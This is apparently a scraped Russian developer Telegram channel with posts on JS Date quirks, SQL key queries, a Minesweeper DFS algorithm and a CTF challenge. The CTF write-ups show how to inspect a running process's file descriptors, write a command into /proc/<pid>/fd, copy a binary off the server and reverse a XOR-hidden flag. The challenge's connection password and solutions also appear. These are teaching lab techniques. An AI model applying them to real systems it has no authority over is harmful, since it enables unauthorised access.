В глубинах системы, затерянный среди множества других, дремлет одинокий процесс. Он не говорит и не слушает обычные пути. Его единственная цель — хранить тайну и ждать того, кто знает волшебное слово. Шепни ему на ухо правильную команду, и он откроет тебе свои секреты.
Подсказки:
1. Кодовая фраза где-то рядом... возможно, даже в самом бинарнике
2. Две предыдущие задачи, были "модифицированы" автором этой задачи точно таким же способом, и из-за этого в консоль выводились сообщения при подключении к серверу
3. Основная концепция Linux – "всё есть файл"
Команда для подключения:
UPD:
socat -,rawer,escape=0x1d OPENSSL:ctf.owl-dev.ru:1337,verify=0,no-sni=1
Пароль подключения: cEBzU3cwckQ=
Автор задачи: xof
❗️ Бот, который принимает флаги: @BugMakersFlagsBot
Также присылайте отзывы, вопросы, замечания и решения мне в личку @ipatove , в комментарии к посту или в наш чат, где можно обсуждать и коллективно решать.
📖 Решение этой задачи будет опубликовано в начале следующей недели.
🏆 Первый решивший — молодец! Погнали!
———
#⃣ #CTF #ЗадачиCTF #reverse
🐞 БАГодельня: Канал // Чат
📖 Новая задачка, которую можно решить двумя разными способами – реверсить бинарник или найти в системе стража и подобрать ключ к нему. Misc или Rev, можно попробовать и оба варианта или найти совсем другое, свое обходное решение, как уже делали ни раз с предыдущими задачами.
📌 Описание задачи:
В глубинах системы, затерянный среди множества других, дремлет одинокий процесс. Он не говорит и не слушает обычные пути. Его единственная цель — хранить тайну и ждать того, кто знает волшебное слово. Шепни ему на ухо правильную команду, и он откроет тебе свои секреты.
Подсказки:
1. Кодовая фраза где-то рядом... возможно, даже в самом бинарнике
2. Две предыдущие задачи, были "модифицированы" автором этой задачи точно таким же способом, и из-за этого в консоль выводились сообщения при подключении к серверу
3. Основная концепция Linux – "всё есть файл"
Команда для подключения:
UPD:
Пароль подключения: cEBzU3cwckQ=
nc ctf.owl-dev.ru 1337
Автор задачи: xof
❗️ Бот, который принимает флаги: @BugMakersFlagsBot
Также присылайте отзывы, вопросы, замечания и решения мне в личку @ipatove , в комментарии к посту или в наш чат, где можно обсуждать и коллективно решать.
📖 Решение этой задачи будет опубликовано в начале следующей недели.
🏆 Первый решивший — молодец! Погнали!
———
Please open Telegram to view this post
VIEW IN TELEGRAM
3 5👍4🔥3
Приколы Date() в JS
📖 Пару раз в рабочих задачах спотыкались на строковом формате даты, который нужно преобразовать в объект даты на фронте в js. Решил сделать заметку и заодно получше разобраться в чем конкретно проблема. Но попутно нашел еще несколько интересных моментов, их тоже упомяну в посте.
😬 Проблема: в браузере Safari js функция
❗️Почему так? На самом деле это ошибка не Safari, а скорее разработчиков и остальных браузеров. В спецификации метода Date() описано, что он принимает строковые даты в форматах ISO 8601. А формат с разбиением чисел через точку, не подходит под ISO 8601. То есть валидные значения разделителя — это дефис. Правильный формат такой:
📌 Бонусом докину еще несколько «приколов» с Date, это уже особенности самого js, как он интерпретирует строки. Самые интересные:
📌 Пока гуглил еще «особенности» работы Date, нашел интересный квиз – 28 вопросов по нестандартному поведению Date. Проверить свои навыки можно тут: https://jsdate.wtf А результаты кидайте в комментарии.
———
#⃣ #БазаЗнаний #JS
🐞 БАГодельня: Канал // Чат
📖 Пару раз в рабочих задачах спотыкались на строковом формате даты, который нужно преобразовать в объект даты на фронте в js. Решил сделать заметку и заодно получше разобраться в чем конкретно проблема. Но попутно нашел еще несколько интересных моментов, их тоже упомяну в посте.
😬 Проблема: в браузере Safari js функция
new Date('2025.08.23') вернет «Invalid date», хотя во всех остальных браузерах это валидная строчка с датой, и такой код будет возвращать «Sat Aug 23 2025 00:00:00 GMT+0300». Если не знать этого нюанса, можно нарваться на неприятности и не сразу отловить проблему, поскольку мало кто пользуется Safari в качестве браузера для разработки, да и при отладке есть шанс его пропустить.❗️Почему так? На самом деле это ошибка не Safari, а скорее разработчиков и остальных браузеров. В спецификации метода Date() описано, что он принимает строковые даты в форматах ISO 8601. А формат с разбиением чисел через точку, не подходит под ISO 8601. То есть валидные значения разделителя — это дефис. Правильный формат такой:
new Date('2025-08-23'). Примечание: кроме дефиса, все браузеры так же поддерживают и обратный слеш: new Date('2025/08/23').📌 Бонусом докину еще несколько «приколов» с Date, это уже особенности самого js, как он интерпретирует строки. Самые интересные:
new Date("0") // вернет 1 января 2000 года
new Date(0) // вернет 1 января 1970 года
new Date("maybe 1") // вернет 1 мая 2001 года📌 Пока гуглил еще «особенности» работы Date, нашел интересный квиз – 28 вопросов по нестандартному поведению Date. Проверить свои навыки можно тут: https://jsdate.wtf А результаты кидайте в комментарии.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍5❤2 1
Итоги CTF-задач августа и анонс новых
📖 За месяц мы запустили и порешали все вместе четыре задачи. Это немного, но и не мало. А судя по статистке ответов на опросы, которые были на прошлой неделе, стало понятно, что нужно немного сбавить обороты и не забывать про основную тематику – посты с разборами задач и материалами по разработке в целом. Да и мне самому выпускать по задаче в неделю не всегда удобно, одна задача из-за других дел, сползла на будний день, хотя изначально планировал публиковать их только по выходным. По активности решения, очевидно, что задачи в выходные дни гораздо активнее решаются.
❗️Поэтому новые задачи будут выходить только по выходным и немного реже – раз в две недели, чередуясь с разборами прошлых задач. Это поможет получше готовить задачи, чтобы не было промахов, как было с подключением, также появится время на подготовку задач из разных категорий – поискать референсы и идеи. И самое главное, что появится время на посты про разработку.
Чтобы было интереснее решать и появился дух соперничества, я планировал ввести небольшие призы, которые будут выдаваться по итогам месяца. Однако с новым графиком, раз в месяц нечего считать – всего две задачи. Поэтому символические призы будут за каждую задачку – за 1-3 места. Призы будут в виде звезд и премиума в телеграм, так проще всего отправлять призы.
Однако за август задания были каждую неделю и за них можно собрать турнирную таблицу. И выдать призы так, как изначально задумывалось. Про это не было анонса, поскольку не был уверен, что получится выпустить все четыре задачи и что вообще кто-то будет решать.
🎉 Результаты задач августа, публикую только Топ-3 участника из каждой задачи:
Jail / Задача «Побег с помощью Brainfuck» // Решение
🥇 Евгений Курмыса
🥈 xof
🥉 zzz3230
Misc / Задача «Vibe Shell» // Решение
🥇 Евгений Курмыса
🥈 zzz3230
🥉 xof
Osint / Задача «Отголосок прошлого» // Не будет разбора
🥇 nof
🥈 xof
🥉 Евгений Курмыса
Misc & Reverse / Задача «Тихий страж» // Решение 1 и Решение 2
🥇 Евгений Курмыса
🥈 нет решения
🥉 нет решения
Победители:
🥇 Евгений Курмыса – приз 6 мес премиума в телеграм
🥈 xof – приз 3 мес премиума в телеграм
🥉 zzz3230 – приз 3 мес премиума в телеграм
🎉 Призы уже разослал победителям.
Итоговые результаты считал по формуле: 1-е решение – 3 балла, 2-е – 2 балла, 3-е – 1 балл, 4 и ниже – 0.5 баллов
📖 За месяц мы запустили и порешали все вместе четыре задачи. Это немного, но и не мало. А судя по статистке ответов на опросы, которые были на прошлой неделе, стало понятно, что нужно немного сбавить обороты и не забывать про основную тематику – посты с разборами задач и материалами по разработке в целом. Да и мне самому выпускать по задаче в неделю не всегда удобно, одна задача из-за других дел, сползла на будний день, хотя изначально планировал публиковать их только по выходным. По активности решения, очевидно, что задачи в выходные дни гораздо активнее решаются.
❗️Поэтому новые задачи будут выходить только по выходным и немного реже – раз в две недели, чередуясь с разборами прошлых задач. Это поможет получше готовить задачи, чтобы не было промахов, как было с подключением, также появится время на подготовку задач из разных категорий – поискать референсы и идеи. И самое главное, что появится время на посты про разработку.
Чтобы было интереснее решать и появился дух соперничества, я планировал ввести небольшие призы, которые будут выдаваться по итогам месяца. Однако с новым графиком, раз в месяц нечего считать – всего две задачи. Поэтому символические призы будут за каждую задачку – за 1-3 места. Призы будут в виде звезд и премиума в телеграм, так проще всего отправлять призы.
Однако за август задания были каждую неделю и за них можно собрать турнирную таблицу. И выдать призы так, как изначально задумывалось. Про это не было анонса, поскольку не был уверен, что получится выпустить все четыре задачи и что вообще кто-то будет решать.
🎉 Результаты задач августа, публикую только Топ-3 участника из каждой задачи:
Jail / Задача «Побег с помощью Brainfuck» // Решение
🥇 Евгений Курмыса
🥈 xof
🥉 zzz3230
Misc / Задача «Vibe Shell» // Решение
🥇 Евгений Курмыса
🥈 zzz3230
🥉 xof
Osint / Задача «Отголосок прошлого» // Не будет разбора
🥇 nof
🥈 xof
🥉 Евгений Курмыса
Misc & Reverse / Задача «Тихий страж» // Решение 1 и Решение 2
🥇 Евгений Курмыса
🥈 нет решения
🥉 нет решения
Победители:
🥇 Евгений Курмыса – приз 6 мес премиума в телеграм
🥈 xof – приз 3 мес премиума в телеграм
🥉 zzz3230 – приз 3 мес премиума в телеграм
🎉 Призы уже разослал победителям.
Итоговые результаты считал по формуле: 1-е решение – 3 балла, 2-е – 2 балла, 3-е – 1 балл, 4 и ниже – 0.5 баллов
Костылим со всей силы в sql-запросах
📖 Пару лет назад был пост с кодревью, где числовой постфикс к имени файла находился брутфорсом, перебирая все доступные имена. Освежить в памяти можно тут: Новая папка(123). Сегодня получилось реализовать тоже самое только с базой данных. Сперва не планировал писать, но задачка получилась интересная и не стандартная – костыль, который вряд ли кому-то пригодится в том виде, как он есть, однако показывает не самые стандартные возможности SQL.
📌 Что имеем? Есть таблица в БД mysql, куда пишутся записи с некоторыми данными, а одно из полей хранит уникальный ключ такого вида: keyname_123, где 123 – это инкремент для уникальности. Нужно узнать самый большой постфикс для ключа и добавить запись с ключом keyname_(N+1).
Важное примечание. В силу некоторых обстоятельств, сделать по-человечески, и вынести индекс ключа в отдельный столбец, и по нему уже делать выборку, в данном случае нельзя. Можем работать только с такой строкой.
📌 Как реализовано? С помощью while цикла делались запросы к таблице для проверки существования записи с ключом keyname_i, где i – инкремент от 0 и до конца, с увеличением на единицу. Цикл крутится, пока запрос к БД не вернет пустой ответ, это сигнализирует о найденном индексе ключа, который можно использовать для новой записи. В данном случае индексов может быть не много, не более десятка, но что может стать с проектом в будущем никто не знает, и такой поиск индекса будет серьезной проблемой при увеличении объемов. Да и в целом, перебор значений — это уж совсем крайний случай.
📌 Как сделать получше? А теперь несколько вариантов, как еще можно решить эту задачу, не мучая БД лишними запросами.
1. Так же перебором, но гонять в цикле не запросы к БД, а данные. Сделать запрос вида:
Достаем все ключи и находим самый большой индекс. Такой вариант будет работать быстрее и меньше грузить БД на небольших объемах данных.
2. Для mysql 8.0+ версий можно написать запрос и регуляркой отрезать от ключа текстовую часть, оставив только числовой постфикс. И сразу же в запросе получить максимальное значение. То есть один запросом получаем сразу максимальный индекс. Запрос:
3. Для mysql ниже 8 версии, где нет поддержки REGEXP_SUBSTR, тоже можно реализовать запрос, как во втором примере, но через предварительный подсчет символов до числа. Запрос:
Если у кого есть еще идеи sql-запросов, кидайте в комментарии, может быть есть более простые или интересные варианты.
———
#️⃣ #sql #костыли
🐞 БАГодельня: Канал // Чат
📖 Пару лет назад был пост с кодревью, где числовой постфикс к имени файла находился брутфорсом, перебирая все доступные имена. Освежить в памяти можно тут: Новая папка(123). Сегодня получилось реализовать тоже самое только с базой данных. Сперва не планировал писать, но задачка получилась интересная и не стандартная – костыль, который вряд ли кому-то пригодится в том виде, как он есть, однако показывает не самые стандартные возможности SQL.
📌 Что имеем? Есть таблица в БД mysql, куда пишутся записи с некоторыми данными, а одно из полей хранит уникальный ключ такого вида: keyname_123, где 123 – это инкремент для уникальности. Нужно узнать самый большой постфикс для ключа и добавить запись с ключом keyname_(N+1).
Важное примечание. В силу некоторых обстоятельств, сделать по-человечески, и вынести индекс ключа в отдельный столбец, и по нему уже делать выборку, в данном случае нельзя. Можем работать только с такой строкой.
📌 Как реализовано? С помощью while цикла делались запросы к таблице для проверки существования записи с ключом keyname_i, где i – инкремент от 0 и до конца, с увеличением на единицу. Цикл крутится, пока запрос к БД не вернет пустой ответ, это сигнализирует о найденном индексе ключа, который можно использовать для новой записи. В данном случае индексов может быть не много, не более десятка, но что может стать с проектом в будущем никто не знает, и такой поиск индекса будет серьезной проблемой при увеличении объемов. Да и в целом, перебор значений — это уж совсем крайний случай.
📌 Как сделать получше? А теперь несколько вариантов, как еще можно решить эту задачу, не мучая БД лишними запросами.
1. Так же перебором, но гонять в цикле не запросы к БД, а данные. Сделать запрос вида:
SELECT key_column
FROM tbl_test
WHERE key_column LIKE 'kek_%';
Достаем все ключи и находим самый большой индекс. Такой вариант будет работать быстрее и меньше грузить БД на небольших объемах данных.
2. Для mysql 8.0+ версий можно написать запрос и регуляркой отрезать от ключа текстовую часть, оставив только числовой постфикс. И сразу же в запросе получить максимальное значение. То есть один запросом получаем сразу максимальный индекс. Запрос:
SELECT MAX(CONVERT(REGEXP_SUBSTR (key_column, '[0-9]+$'), INT)) AS max_prefix
FROM tbl_test
WHERE key_column like 'kek_%';
3. Для mysql ниже 8 версии, где нет поддержки REGEXP_SUBSTR, тоже можно реализовать запрос, как во втором примере, но через предварительный подсчет символов до числа. Запрос:
SELECT MAX(CAST(SUBSTRING(key_column, 5) AS UNSIGNED)) AS max_prefix
FROM tbl_test
WHERE key_column LIKE 'kek_%';
Если у кого есть еще идеи sql-запросов, кидайте в комментарии, может быть есть более простые или интересные варианты.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥5👍2 1
Задача «Тихий страж». Решение 1
Решение задачки из поста от 20 августа: описание задачи.
Подключение к серверу будет доступно еще все выходные, можно попробовать порешать после прочтения этого разбора.
Бинарник для тренировки реверса и его исходник можно скачать тут: github.
📖 Кратко суть задачи: есть доступ к серверу, где нужно найти флаг. При подключении сразу виден бинарник и скрипт, в котором описан запуск этого бинарника. Так же из условия задачи понятно, что нужно либо реверсить бинарный файл либо найти запущенный процесс и передать ему ключ.
📌 Первое решение. Через анализ системы и бинарника
В первую очередь после подключения к серверу смотрим, какие файлы нам доступны:
Из содержимого entrypoint.sh понимаем, что в системе скорее всего запущен бинарник ctf. Поэтому стоит проверить, работает он еще или нет:
И замечаем, что процесс запущен в системе, его PID = 8. Теперь нужно понять, что делает этот процесс и с чем взаимодействует. Одна из подсказок была, про то, что всё в linux – это файлы. Проверяем наш процесс с помощью lsof:
В ответе для нас самый интересный третий столбец, он хранит FD (File Descriptor) — числовой идентификатор, который процесс использует для работы с этим открытым файлом.
FD 0 — это стандартный ввод (stdin). FD 1 — вывод (stdout). FD 2 — вывод ошибок (stderr). А вот FD 4 и FD 69 — это дополнительные файловые дескрипторы. И они оба подключены к одному и тому же каналу (58608517). Поскольку по условию задачи нам нужно найти «Стража» и сказать передать ему правильную команду, то скорее всего какой-то из нестандартных FD настроен на чтение данных. И чтобы отправить строку процессу нужно записать строку через файловый дескриптор:
📌 Остается понять, какие данные нужно передать. Возвращаемся к условию задачи и там находим, что «Кодовая фраза где-то рядом... возможно, даже в самом бинарнике». Тут мы можем сделать дизассемблирование бинарника или сперва попробовать просто извлечь из него все доступные строки. Пробуем вариант попороще – извлекаем строки с помощью утилиты strings и анализируем содержимое:
Часть вывода я отрезал – там лишнее и заметил троеточием. В выводе замечаем несколько не стандартных строк – это
Сработало! Флаг получен. Это работает с fd 4 и 69, оба дескриптора принимают значение и отдают флаг, если строка с командой корректная.
❗️Второй способ решения – через реверсиинг бинарника, не влезает в этот пост, не хватает лимита телеграмм. Опубликую вечером вторым постом.
———
#⃣ #CTF #РазборыЗадач
🐞 БАГодельня: Канал // Чат
Решение задачки из поста от 20 августа: описание задачи.
Подключение к серверу будет доступно еще все выходные, можно попробовать порешать после прочтения этого разбора.
Бинарник для тренировки реверса и его исходник можно скачать тут: github.
📖 Кратко суть задачи: есть доступ к серверу, где нужно найти флаг. При подключении сразу виден бинарник и скрипт, в котором описан запуск этого бинарника. Так же из условия задачи понятно, что нужно либо реверсить бинарный файл либо найти запущенный процесс и передать ему ключ.
📌 Первое решение. Через анализ системы и бинарника
В первую очередь после подключения к серверу смотрим, какие файлы нам доступны:
> ls -la
-rwxr-xr-x 1 ctfuser ctfuser 14072 Aug 20 20:18 ctf
-rwxr-xr-x 1 ctfuser ctfuser 56 Aug 20 20:17 entrypoint.sh
Из содержимого entrypoint.sh понимаем, что в системе скорее всего запущен бинарник ctf. Поэтому стоит проверить, работает он еще или нет:
> ps aux | grep ctf
8 ctfuser 0:00 ./ctf
И замечаем, что процесс запущен в системе, его PID = 8. Теперь нужно понять, что делает этот процесс и с чем взаимодействует. Одна из подсказок была, про то, что всё в linux – это файлы. Проверяем наш процесс с помощью lsof:
> lsof -p 8
8 /home/ctfuser/ctf 0 /dev/null
8 /home/ctfuser/ctf 1 pipe:[58609665]
8 /home/ctfuser/ctf 2 pipe:[58609666]
8 /home/ctfuser/ctf 4 pipe:[58608517]
8 /home/ctfuser/ctf 69 pipe:[58608517]
В ответе для нас самый интересный третий столбец, он хранит FD (File Descriptor) — числовой идентификатор, который процесс использует для работы с этим открытым файлом.
FD 0 — это стандартный ввод (stdin). FD 1 — вывод (stdout). FD 2 — вывод ошибок (stderr). А вот FD 4 и FD 69 — это дополнительные файловые дескрипторы. И они оба подключены к одному и тому же каналу (58608517). Поскольку по условию задачи нам нужно найти «Стража» и сказать передать ему правильную команду, то скорее всего какой-то из нестандартных FD настроен на чтение данных. И чтобы отправить строку процессу нужно записать строку через файловый дескриптор:
echo "строка" > /proc/$PID/fd/$FD, где $PID – это PID процесса, у нас это 8, а $FD – файловый дескриптор 4 или 69.📌 Остается понять, какие данные нужно передать. Возвращаемся к условию задачи и там находим, что «Кодовая фраза где-то рядом... возможно, даже в самом бинарнике». Тут мы можем сделать дизассемблирование бинарника или сперва попробовать просто извлечь из него все доступные строки. Пробуем вариант попороще – извлекаем строки с помощью утилиты strings и анализируем содержимое:
> strings ./ctf
...
__libc_start_main
free
libc.musl-x86_64.so.1
__deregister_frame_info
ATUSH
|$xH
...
pipe
dup2
/flag
read
YnJ1aA==
d@Sn
;*3$"
GCC: (Alpine 14.2.0) 14.2.0
.shstrtab
...
Часть вывода я отрезал – там лишнее и заметил троеточием. В выводе замечаем несколько не стандартных строк – это
/flag и YnJ1aA==. Вторая часть это base64 строка, раскодируем ее на всякий случай, получаем bruh. Но строка /flag больше всего подходит под «команду для стража», поскольку в начале строки есть слеш и в целом «flag» уже хранит намек. Пробуем отправить эту строку нашему стражу:> echo "/flag" > /proc/8/fd/4
BugCTF{флаг-изменен-для-поста}
Сработало! Флаг получен. Это работает с fd 4 и 69, оба дескриптора принимают значение и отдают флаг, если строка с командой корректная.
❗️Второй способ решения – через реверсиинг бинарника, не влезает в этот пост, не хватает лимита телеграмм. Опубликую вечером вторым постом.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍6 2👾1
Задача «Тихий страж». Решение 2
Решение задачки из поста от 20 августа: описание задачи
Бинарник для тренировки реверса и его исходник можно скачать тут: github.
📌 Второе решение. Полный реверсинг бинарника
Для реверса бинарника, его сперва нужно выкачать. Самый простой способ – это подключиться к серверу, закодировать файл ctf в base64, и полученную строку у себя на компьютере обратно сконвертировать в бинарник:
Кодируем:
Сохраняем бинарник:
Теперь нужно сделать дизассемблирование бинарника, для этого есть программы: бесплтаная Ghidra и IDA(платная и бесплатная версии). Обе программы работают примерно одинаково. Запускаем приложение и выбираем нужный бинарник, на выходе получаем список функций и их код, используемые данные, которые зашиты в бинарнике, а также получаем схему логики – ее кусочек на превью поста, это скрин из IDA.
Код бинарника после реверса отображается кодом ассемблера. Но ассемблер сложноват для восприятия, однако его можно перевести в си-подобный псевдокод. Конвертировать умеет и Ghidra и IDA – с этим нет проблем. Поэтому переводим код в си-подобный и смотрим, что происходит внутри бинарника.
Для тех, у кого нет установленных программ для реверса, залил самые интересные куски псевдокода в гитхаб: github. В репозитории полный код функций
Когда бинарник декомпилирован начинаем анализировать полученный код, первым делом находим точку входа – это функция
Псевдокод нормально читается, и из него становится ясно, что запущенный процесс ждет строку «
Нужно теперь разобраться, что делает функция
Это простая логика XOR-а, где байты ключа ксора используются по очереди и по кругу, если длина ключа короче зашифрованной строки. Если код не читается, то его можно переписать на более понятный – это нейронки хорошо умеют, но за ними нужно перепроверять. Один раз нарывался на то, что нейронка неправильно отформатировала код и потратил пол дня, пока не понял, что копаюсь с неправильным куском логики.
Теперь мы знаем, что для получения флага, нужно выполнить xor для значения из
Остается найти значение
❗️ Важный анонс
Следующая задача будет запущена 6 сентября в 12:00 по МСК. Категория web. За первые три решения будут призы: 3 месяца премиума в телеграм, 250 и 100 звезд. Не пропустите 😁
———
#⃣ #CTF #РазборыЗадач
🐞 БАГодельня: Канал // Чат
Решение задачки из поста от 20 августа: описание задачи
Бинарник для тренировки реверса и его исходник можно скачать тут: github.
📌 Второе решение. Полный реверсинг бинарника
Для реверса бинарника, его сперва нужно выкачать. Самый простой способ – это подключиться к серверу, закодировать файл ctf в base64, и полученную строку у себя на компьютере обратно сконвертировать в бинарник:
Кодируем:
cat ./ctf | base64Сохраняем бинарник:
echo "строка_base64" | base64 -d > output_binaryТеперь нужно сделать дизассемблирование бинарника, для этого есть программы: бесплтаная Ghidra и IDA(платная и бесплатная версии). Обе программы работают примерно одинаково. Запускаем приложение и выбираем нужный бинарник, на выходе получаем список функций и их код, используемые данные, которые зашиты в бинарнике, а также получаем схему логики – ее кусочек на превью поста, это скрин из IDA.
Код бинарника после реверса отображается кодом ассемблера. Но ассемблер сложноват для восприятия, однако его можно перевести в си-подобный псевдокод. Конвертировать умеет и Ghidra и IDA – с этим нет проблем. Поэтому переводим код в си-подобный и смотрим, что происходит внутри бинарника.
Для тех, у кого нет установленных программ для реверса, залил самые интересные куски псевдокода в гитхаб: github. В репозитории полный код функций
main и sub_1345, а также объект с данными .rodata – это статичные данные, которые хранятся внутри скомпилированного приложения, они нам тоже пригодятся.Когда бинарник декомпилирован начинаем анализировать полученный код, первым делом находим точку входа – это функция
start, там будет вызов функций с логикой, в данным случае это main. Внутри функции main сразу же находим нужный нам участок, вот самое интересное:if ( !strcmp(buf, "/flag") )
{
v6 = (unsigned __int8 *)sub_1345(&unk_2030, 26, "YnJ1aA==", 8);
if ( v6 )
{
for ( i = 0; i != 26; ++i )
{
v8 = v6[i];
putchar(v8);
}
free(v6);
}
}
Псевдокод нормально читается, и из него становится ясно, что запущенный процесс ждет строку «
/flag», которую мы передавали в первом варианте решения. Далее происходит какая-то обработка данных из переменной unk_2030 внутри функции sub_1345, а итоговый результат выводится в stdout.Нужно теперь разобраться, что делает функция
sub_1345 и найти значение переменной unk_2030. Анализируем код sub_1345:_BYTE *__fastcall sub_1345(__int64 a1, size_t a2, __int64 a3, unsigned __int64 a4)
{
_BYTE *v8; // rdi
size_t v9; // rsi
v8 = malloc(a2);
v9 = 0;
do
{
v8[v9] = *(_BYTE *)(a1 + v9) ^ *(_BYTE *)(a3 + v9 % a4);
++v9;
}
while ( v9 < a2 );
return v8;
}
Это простая логика XOR-а, где байты ключа ксора используются по очереди и по кругу, если длина ключа короче зашифрованной строки. Если код не читается, то его можно переписать на более понятный – это нейронки хорошо умеют, но за ними нужно перепроверять. Один раз нарывался на то, что нейронка неправильно отформатировала код и потратил пол дня, пока не понял, что копаюсь с неправильным куском логики.
Теперь мы знаем, что для получения флага, нужно выполнить xor для значения из
unk_2030 с ключом «YnJ1aA==». Ключ, кстати, был виден в первом решении, когда выполнялся strings для изучения бинарника.Остается найти значение
unk_2030 – оно хранится в .rodata, разбитое по байтам. Забираем его оттуда и выполняем преобразование xor-ом. Чтобы не считать ксор руками, можно написать простой скрипт, например, на питоне: скрипт / запустить. Раскодированная строка — это наш флаг. Победа!❗️ Важный анонс
Следующая задача будет запущена 6 сентября в 12:00 по МСК. Категория web. За первые три решения будут призы: 3 месяца премиума в телеграм, 250 и 100 звезд. Не пропустите 😁
———
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥10👍4 1
Игра «Сапёр». Пример использования алгоритма DFS
📖 В прошлом году ездил в столицу на поезде и взял с собой ноутбук, но не скачал туда ничего посмотреть или послушать. В дороге без интернета скучно, и чтобы чем-то заняться, написал «Сапёра». Сама по себе игра не сложная в реализации, но есть один интересный момент. Когда игрок кликает по клетке с «нулем» – ячейка поля, в которой нет мин и во всех соседних клетках тоже пусто, то должна открыться сразу вся область поля соседствующими «нулями». То есть открывается часть поля, со всеми соседствующими клетками с нулями, пока не встретится граница или ячейка с цифрами (от 1 до 8, зависит от количества клеток-соседей с минами).
Если начать выдумывать свой алгоритм раскрытия поля с пустыми ячейками, то можно прилично закопаться в условиях и циклах. Именно этим я и занялся сперва – начал мудрить свой алгоритм. Но закопавшись в ветвлении логики, начал вспоминать алгоритмы, которые кроме как в тренировочных задачах, больше особо и не использовал раньше. Может быть, у кого-то в рабочих задачах и пригождаются алгоритмы каждый день, но я с ними пересекаюсь только во всяких учебных и тренировочных задачах или в описании статей. Поэтому нужный алгоритм пришел на ум не сразу и сперва занимался дурью с условиями и изобретал свое решение.
📌 Для такой задачи идеально подходит DFS – поиск по графу в глубину. Если кто понимает за асимптотику, то сложность этого алгоритма O(n), то есть линейная – время работы алгоритма линейно с увеличением размера входных данных. Это очень хороший показатель для алгоритма. Смысл алгоритма заключается в рекурсивном обходе всех соседей и сборе массива валидных координат. Так без лишних условий можно пробежаться по всем соседям и собрать нужные ячейки, которые будут открыты.
Для наглядности код алгоритма на примере поиска пустых ячеек в сапере:
📌 Для наглядности еще пример, как отработает алгоритм.
Допустим, у нас есть поле:
При клике на ячейку
Решение получается очень простым и предсказуемым. Но чтобы его написать, нужно иметь в запасе какой-то набор базовых алгоритмов. Учить наизусть подобные алгоритмы нет смысла, но понимать, как они работают и знать про их существование не будет лишним. Учить наизусть только для собесов надо, на сколько я понимаю 😁. А в реальных задачах такое не часто встречается и достаточно просто знать и вовремя вспоминать, чтобы можно было нагуглить описание и применить. Это мое мнение, не призываю никого, если есть желание заучивать, то занимайтесь)
💣 Полный код сапера можно посмотреть в моем github, реализован на js.
А так же можно поиграть и потестить логику, билд тут: Сапёр.
❗️UPD:
В комментариях прислали пару интересных замечаний по механике игры. Внес правки – актуальное в репозитории и в рабочей версии игры. И заодно для примера переписал алгоритм поиска с DFS на BFS — можно сравнить по коммитам.
———
#⃣ #DFS #BFS #Алгоритмы #Сапер
🐞 БАГодельня: Канал // Чат
📖 В прошлом году ездил в столицу на поезде и взял с собой ноутбук, но не скачал туда ничего посмотреть или послушать. В дороге без интернета скучно, и чтобы чем-то заняться, написал «Сапёра». Сама по себе игра не сложная в реализации, но есть один интересный момент. Когда игрок кликает по клетке с «нулем» – ячейка поля, в которой нет мин и во всех соседних клетках тоже пусто, то должна открыться сразу вся область поля соседствующими «нулями». То есть открывается часть поля, со всеми соседствующими клетками с нулями, пока не встретится граница или ячейка с цифрами (от 1 до 8, зависит от количества клеток-соседей с минами).
Если начать выдумывать свой алгоритм раскрытия поля с пустыми ячейками, то можно прилично закопаться в условиях и циклах. Именно этим я и занялся сперва – начал мудрить свой алгоритм. Но закопавшись в ветвлении логики, начал вспоминать алгоритмы, которые кроме как в тренировочных задачах, больше особо и не использовал раньше. Может быть, у кого-то в рабочих задачах и пригождаются алгоритмы каждый день, но я с ними пересекаюсь только во всяких учебных и тренировочных задачах или в описании статей. Поэтому нужный алгоритм пришел на ум не сразу и сперва занимался дурью с условиями и изобретал свое решение.
📌 Для такой задачи идеально подходит DFS – поиск по графу в глубину. Если кто понимает за асимптотику, то сложность этого алгоритма O(n), то есть линейная – время работы алгоритма линейно с увеличением размера входных данных. Это очень хороший показатель для алгоритма. Смысл алгоритма заключается в рекурсивном обходе всех соседей и сборе массива валидных координат. Так без лишних условий можно пробежаться по всем соседям и собрать нужные ячейки, которые будут открыты.
Для наглядности код алгоритма на примере поиска пустых ячеек в сапере:
function findAllEmptyCells(matrix, startY, startX) {
// Размер игрового поля
const rows = matrix.length;
const cols = matrix[0].length;
// Направления поиска соседей:
// Вверх, влево, вниз, вправо
const directions = [[-1,0], [0,-1], [1,0], [0,1]];
// Матрица посещённых клеток
const visited = [];
const result = [];
function dfs(y, x) {
// Проверка границ, значений из клеток соседей
// и актуальность посещения клетки
if (y < 0 || y >= rows || x < 0 || x >= cols || matrix[y][x] !== 0 || visited[y][x]) {
return;
}
// Помечаем ячейку как посещенную
visited[y][x] = true;
// Добавляем координаты в результат
result.push([y, x]);
// Рекурсивно проверяем всех соседей
for (const [dy, dx] of directions) {
dfs(y + dy, x + dx);
}
}
dfs(startY, startX);
return result;
}📌 Для наглядности еще пример, как отработает алгоритм.
Допустим, у нас есть поле:
[1, 1, 1, 0]
[1, 0, 0, 1]
[0, 0, 1, 1]
При клике на ячейку
[1,1] (значение 0), алгоритм найдет все связанные пустые ячейки и вернет матрицу координат этих нулей: [[1,1], [1,2], [2,0], [2,1]]Решение получается очень простым и предсказуемым. Но чтобы его написать, нужно иметь в запасе какой-то набор базовых алгоритмов. Учить наизусть подобные алгоритмы нет смысла, но понимать, как они работают и знать про их существование не будет лишним. Учить наизусть только для собесов надо, на сколько я понимаю 😁. А в реальных задачах такое не часто встречается и достаточно просто знать и вовремя вспоминать, чтобы можно было нагуглить описание и применить. Это мое мнение, не призываю никого, если есть желание заучивать, то занимайтесь)
💣 Полный код сапера можно посмотреть в моем github, реализован на js.
А так же можно поиграть и потестить логику, билд тут: Сапёр.
❗️UPD:
В комментариях прислали пару интересных замечаний по механике игры. Внес правки – актуальное в репозитории и в рабочей версии игры. И заодно для примера переписал алгоритм поиска с DFS на BFS — можно сравнить по коммитам.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥9 3❤2
Запуск сайта с задачами
